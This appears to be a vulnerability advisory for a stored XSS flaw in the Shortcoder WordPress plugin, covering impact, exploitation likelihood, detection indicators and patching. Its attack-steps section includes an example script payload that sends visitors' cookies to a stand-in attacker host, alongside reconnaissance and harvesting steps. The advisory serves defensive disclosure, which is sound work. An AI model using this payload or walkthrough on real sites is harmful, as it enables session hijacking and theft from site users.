CVE-2026-27074: 
WordPress vulnerability analysis and mitigation

CVE-2026-27074 is a Stored Cross-Site Scripting (XSS) vulnerability in the Shortcoder WordPress plugin by vaakash, affecting versions up to and including 6.5.1. The flaw stems from improper neutralization of user-supplied input during web page generation (CWE-79). It was reported on December 10, 2025, by researcher thifx and published on January 9, 2026. The patched version (6.5.2) was released to address the issue. It carries a CVSS v3.1 base score of 6.5 (Medium) (Patchstack).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting) and manifests as a Stored XSS flaw within the Shortcoder plugin's input handling. An authenticated attacker with at least Contributor or Developer-level privileges can inject malicious JavaScript or HTML payloads that are persistently stored and later rendered in victims' browsers. Exploitation requires user interaction — a privileged user must visit or trigger the affected page — and the scope is changed, meaning the injected script executes in the context of the victim's browser session rather than the attacker's (Patchstack).

Successful exploitation allows an attacker to inject persistent malicious scripts (e.g., redirects, credential harvesters, or advertisement injections) into WordPress pages served to site visitors. This can result in session hijacking, theft of authentication cookies, defacement, or delivery of malware to end users. The confidentiality, integrity, and availability impacts are each rated Low with a changed scope, meaning the attack can affect users beyond the attacker's own session (Patchstack).

No public proof-of-concept exploit code or active in-the-wild exploitation has been reported for this vulnerability. The EPSS score is approximately 0.029%, indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Patchstack notes that vulnerabilities of this class are sometimes used in mass-exploit campaigns targeting WordPress sites at scale, regardless of site popularity (Patchstack).

1. Reconnaissance: Identify WordPress sites running the Shortcoder plugin version ≤ 6.5.1 using tools like WPScan or Shodan with WordPress fingerprinting.
2. Obtain low-privilege access: Register or compromise an account with at least Contributor or Developer role on the target WordPress site.
3. Inject malicious payload: Navigate to the Shortcoder plugin's shortcode creation or editing interface and insert a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into a vulnerable input field.
4. Trigger execution: The malicious shortcode is saved to the database. When a privileged user (e.g., administrator) or site visitor views a page containing the shortcode, the injected script executes in their browser.
5. Harvest results: Collect stolen session cookies, credentials, or other sensitive data from the attacker-controlled server to enable account takeover or further lateral movement (Patchstack).

• Logs: WordPress access logs showing POST requests to shortcode creation/editing endpoints (e.g., /wp-admin/admin.php?page=shortcoder) from unexpected or low-privilege user accounts; unusual script tags or encoded JavaScript in database entries for the Shortcoder plugin.
• File System: Unexpected modifications to the wp_posts or wp_postmeta database tables containing <script> tags or obfuscated JavaScript within shortcode content.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting pages containing Shortcoder shortcodes; traffic to known cookie-harvesting or exfiltration endpoints.
• Process/Behavior: Admin accounts performing unexpected actions (e.g., new user creation, plugin installation) that may indicate session hijacking following XSS exploitation.

The vendor has released version 6.5.2 of the Shortcoder plugin, which patches this vulnerability. Site administrators should update the plugin immediately via the WordPress dashboard or by downloading the latest version from the WordPress plugin repository. If an immediate update is not possible, restrict Contributor and Developer role assignments to trusted users only, and consider using a Web Application Firewall (WAF) such as Patchstack's virtual patching to block exploitation attempts in the interim (Patchstack).

Patchstack, which coordinated disclosure, classifies this as a low-priority vulnerability with unlikely exploitation impact, and credits researcher thifx with the discovery. No significant vendor statements, notable researcher commentary, or broad media coverage beyond standard vulnerability database entries have been identified for this CVE.